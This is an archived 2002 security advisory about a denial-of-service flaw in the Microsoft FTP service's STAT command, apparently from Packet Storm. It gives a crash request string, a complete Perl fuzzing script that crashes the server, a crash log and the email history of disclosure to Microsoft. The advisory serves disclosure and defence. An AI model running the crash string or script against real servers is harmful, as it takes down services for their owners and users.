what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

microsoft.ftp.glob.txt

microsoft.ftp.glob.txt
Posted Apr 17, 2002
Authored by H D Moore | Site digitaloffense.net

The Microsoft FTP service is vulnerable to a Denial of Service attack in the STAT command. This condition can be triggered by a remote attacker using either a valid user account or anonymous, which is enabled by default. Once exploited, all services running under the inetinfo.exe process will terminate. MS02-018 addresses this problem. Example crash string included.

tags | remote, denial of service
SHA-256 | 2d287a384101b42f3989cffb8032594adeaccdae10b2f64870116030bbe24157

microsoft.ftp.glob.txt

Change Mirror Download
A copy of this document can be found online at:
http://www.digitaloffense.net/msftpd/advisory.txt
-----------------------------------------------------------------------------------------------

--[ Microsoft FTP Service STAT Globbing DoS

Summary:

The Microsoft FTP service is vulnerable to a Denial of Service
attack in the STAT command. This DoS can be triggered by a remote
attacker using either a valid user account or the anonymous account,
which is enabled by default. Once exploited, all services running
under the inetinfo.exe process will terminate. On IIS 5.0 and above,
these services are supposed to restart, on IIS 4.0 the services must
be restarted manually. This vulnerability appears to be impossible to
exploit to gain a remote command shell. Versions other than 4.0 and
5.0 were not tested. Microsoft's advisory and a link to a patch is
available online at:

http://www.microsoft.com/technet/security/bulletin/MS02-018.asp

Details:

This vulnerability was discovered in November 2001 by a "fuzzer"
script I wrote to audit FTP daemons for problems in the globbing
functionality. This script created and sent random arguments to the
"STAT" command consisting of various combinations of globbing
characters. The original fuzzer had to be modified to use the Windows
glob characters instead of the normal Unix set. Within 20 seconds the
script had caused an access violation on a fully patched IIS server.

An example request which can cause the crash:

STAT ?*<240 x X>

The crash occurs when a memchr call is passed a pointer which
dereferences to a NULL. It may be possible to overwrite this memory
with an arbitrary path and use this exploit to obtain a directory
listing, but all attempts so far have failed and constantly
restarting IIS and retrying was getting old.


Scripts:

(DoS PoC)
http://www.digitaloffense.net/msftpd/msftp_dos.pl

(Original "Fuzzer")
http://www.digitaloffense.net/msftpd/msftp_fuzz.pl


Credits:

The following people helped in one form or another:

* bind
* rkl
* halvar
* tsnoop
* ah / da (vulnhelp)

History:

Microsoft was notified of this vulnerability on December 2nd, 2001
through the SecurityFocus VulnHelp service. This vulnerability was
made "public" in early February at the SANS Network Security
Bootcamp conference in Monterey, CA. Complete details about this
vulnerability as well as a example perl script have been available
from the Digital Offense web site since then. This was due to a
miscommunication about the availability of a patch between myself and
the Microsoft Security team. This confusion came about because
another reported vulnerability had been silently fixed as part of the
SP2 Security Rollup 1 Update and this vulnerability was assumed to
have been fixed as well. When I asked MS about this later, they
responded saying that they would announce the other vulnerability (MS
SMTP BDAT DoS) during the _NEXT_ security update and the fix for this
one was being held back until the IIS developers released a jumbo
patch for all currently reported problems. Considering that they were
told 3 months previous that people were actively developing exploits
for this issue and now a few hundred people had been informed about
it at the conference, I found their unwillingness to release a hotfix
absurd. The entire email exchange is listed below.

--[ Email History

[ The Original VulnHelp Email ]

Microsoft FTP Daemon STAT Globbing Bug
Date: Sun, 2 Dec 2001 20:04:28 -0600
From: H D Moore <hdm@digitaloffense.net>
To: vulnhelp@securityfocus.com
The Microsoft FTP Service (5.0) crashes when a certain combination of
glob strings are passed to the STAT command. I was unable to control
the address of the crash, but since there is ample methods of placing
user data into memory, Im sure someone will be able to exploit it
given enough time. The perl code below should be sufficent to
demonstrate the problem.

As for a deadline on releasing a patch or making a public
announcement, the sooner the better, there are already a few people
developing exploits for it.

---------------------------------------------------------------------


#!/usr/bin/perl -w
##################

# cheezy perl to fuzz ftp globs
# this one is designed for msftpd and STAT

use Net::FTP;
srand(time() + int($$));

$target = shift() || "127.0.0.1";
my $user = "anonymous";
my $pass = "crash\@burn.com";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) ||
die "could not connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/pub");

# crash it
while (1)
{
$g = GetGlob();
print STDERR "Trying: $g\n";
$ret = $ftp->quot("STAT $g");
if ($ret !~ /^2/)
{
print "Error: FTP server returned an error response.\n";
exit(1);
}
}

$ftp->quit;

sub GetGlob {
my $result;

$len = 45;
@globs = split(//, "?.\\*");

# build a string consisting of random sequencs
# of the glob character array
for (1 .. $len)
{
$result .= $globs[int(rand() * scalar(@globs))];
}

# this provides some padding which is required
# for the daemon to crash. my guess is that an
# internal file name buffer is being overflowed
# when a glob result string and a large char string
# are combined, the length isnt checked.
$result .= "A" x 200;

return $result;
}

__END__

Only tested on Windows 2000 / MSFTPD 5.0 / Full Patches/ SP2:

Event Type: Information
Event Source: Application Popup
Event Category: None
Event ID: 26
Date: 12/2/2001
Time: 3:37:27 PM
User: N/A
Computer: SHATTERED
Description:
Application popup: inetinfo.exe - Application Error : The instruction
at "0x6fc6a35c" referenced memory at "0x00000000". The memory could
not be "written".

Click on OK to terminate the program
Click on CANCEL to debug the program




[ The Initial Microsoft Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Mon, 3 Dec 2001 17:45:14 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "Vulnerability Help" <vulnhelp@securityfocus.com>
Cc: <hdmoore@digitaloffense.net>, "Microsoft Security Response Center"




<secure@microsoft.com>
Hi -

Thanks very much for your note. I'll start an investigation of this
issue immediately, and will let you know what I find out. In the
meantime, I've assigned tracking number MSRC 961 to this issue. If
you would keep it in the subject line of future notes on the subject,
it would make it easier to get status information for you.

Regards

Secure@microsoft.com



[ The Confirmation from Microsoft ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 8 Jan 2002 08:55:38 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: <hdmoore@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

I just wanted to update you and let you know that we have successfully
reproduced this issue and plan on fixing it in the next rollup patch
for IIS. We really appreciate you bringing this problem to our
attention and will update you on the timetable for release. I am not
sure yet where we are with the next IIS rollup but as soon as I learn
I will update you again.

Thanks for your email and for working with us.

Kind regards,

secure@microsoft.com



[ My Response ]

Re: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 15 Jan 2002 11:50:28 -0600
From: H D Moore <hdm@digitaloffense.net>
To: "Microsoft Security Response Center" <secure@microsoft.com>,
<hdmoore@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>

Will this patch also fix the SMTP BDAT crash reported a month
previously?



[ Their Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 15 Jan 2002 12:45:55 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "H D Moore" <hdm@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

Thanks for your note. The SMTP BDAT issue is separate and will be
addressed in another patch.

Regards,

secure@microsoft.com



[ My Response ]


Re: [MSRC 961lt] Notification of Security Vulnerability
Date: Fri, 15 Feb 2002 01:48:44 -0600
From: H D Moore <hdm@secureaustin.com>
To: "Microsoft Security Response Center" <secure@microsoft.com>
Do you have an ETA on when the FTP issue will be fixed? The reason I
ask is that I (mistakenly) assumed that the SP2SR1 patch already
solved this problem and included the vulnerability in a presentation
at a recent SANS conference.

The reason for the confusion was simple, the SP2SR1 patch mentioned
many fixes related to IIS services, and a quick glance showed that it

addressed an issue with pattern-matching in the FTP service. Based on
your previous message, I assumed this was the correct patch for it and
let the cat out of the bag.

The SP2SR1 patch did fix the SMTP BDAT bug, which I did verify before
presenting the information. The materials are online, including a
script to verify the existence of the vulnerability. I have no problem
pulling the script off the site for the interim, but the attendees at
the conference already have copies of the slides which contain enough
information to exploit the bug...

URL for the conference materials:
http://www.digitaloffense.net/confs/bootcamp02/

Direct link to the slide addressing this bug:
http://www.digitaloffense.net/confs/bootcamp02/jpeg/smash/Slide67.html


On Tuesday 15 January 2002 02:45 pm, Microsoft Security Response
Center wrote:
> Hi,
>
> Thanks for your note. The SMTP BDAT issue is separate and will be
> addressed in another patch.
>
> Regards,
>
> secure@microsoft.com
>
> -----Original Message-----
> From: H D Moore [mailto:hdm@digitaloffense.net]
> Sent: Tuesday, January 15, 2002 9:50 AM
> To: Microsoft Security Response Center; hdmoore@digitaloffense.net
> Cc: Microsoft Security Response Center
> Subject: Re: [MSRC 961lt] Notification of Security Vulnerability
>
>
> On Tuesday 08 January 2002 10:55 am, Microsoft Security
Response Center wrote:
> > Hi,
> >
> > I just wanted to update you and let you know that we have
> > successfully reproduced this issue and plan on fixing it in the
> > next rollup patch for IIS. We really appreciate you bringing this
> > problem to our attention and will update you on the timetable for
> > release. I am not sure yet where we are with the next IIS rollup
> > but as soon as I learn I will update you again.
> >
> > Thanks for your email and for working with us.
> >
> > Kind regards,
> >
> > secure@microsoft.com
>
> Will this patch also fix the SMTP BDAT crash reported a month
> previously?


[ Their Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Mon, 18 Feb 2002 12:10:40 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "H D Moore" <hdm@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

I appreciate your note and your candor. I've forwarded this to the
IIS folks to see if we can seriously speed up the rollup or if we need
to work on an individual hotfix for your FTP issue MSRC 961.

In regards to the BDAT issue, we replied to them on Nov 18. I enclose
the correspondence for your review. Please let me know if there is
some misunderstanding because we received the report from them and
responded back to them. I was under the impression that they would
handle getting the response back to you. In the second email, they
note that they received our mail. Please let me know if we are
missing something on our end. I am concerned about this.

Regards,

secure@microsoft.com

-----Original Message-----
From: H D Moore [mailto:hdm@digitaloffense.net]
Sent: Monday, February 18, 2002 2:28 AM
To: Microsoft Security Response Center
Cc: Microsoft Security Response Center
Subject: Re: [MSRC 961lt] Notification of Security Vulnerability


On Friday 15 February 2002 10:28 am, Microsoft Security Response
Center
wrote:
> Hi,
>
> The FTP issue is due to come out in an IIS rollup patch. We are
> pushing the priority of this patch because we feel there are issues
> that merit one sooner rather than later. I would look for it in the
> coming month - even though I cannot guarantee it I feel fairly firm
> on this. The IIS devs are really working with us and understand the
> reasons we are pushing.

The initial email I sent through vuln-help (early December) stated the
vulnerability had become known to a handful of people, and that those
people were actively developing exploits for it. The bug was
determined to be non-exploitable (in a remote command shell granting
way), but the DoS aspect is trivial to reproduce. It has been two
months now and I am positive that there are people actually taking
advantage of this in the wild.

> In regards to presenting this issue at a conference, it seems to
> me to be an honest mistake. Unless you feel that this
> vulnerability is being exploited in the wild, I would still like
> the IIS rollup to be the ship vehicle. Please let me know your
> thoughts - I am sincerely interested.

I am already getting a flood of email about details of this
vulnerability and the availability of patches. So far, I have been
recommending to just disable anonymous access and sit it out a month,
but a hard release date would be preferable.

I would feel much better about the whole situation if it wasn't for
the way the SMTP BDAT bug was handled. A notification was sent
through vuln-help on November 13th, 2001, yet I received no response
on it until January 15th, 2002. To make matters worse, the SP2SR1
silently fixed this bug, with no mention of it in the online
documentation, and no notification was ever sent to me stating that
this patch addressed the bug. This bug will become public knowledge
today.

> Thanks for the update. Let me know if there is anything else we can
> do.

When will the IIS rollup patch be available? If there will be more
than a week's delay, would it be possible to release a hotfix for it
instead?

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close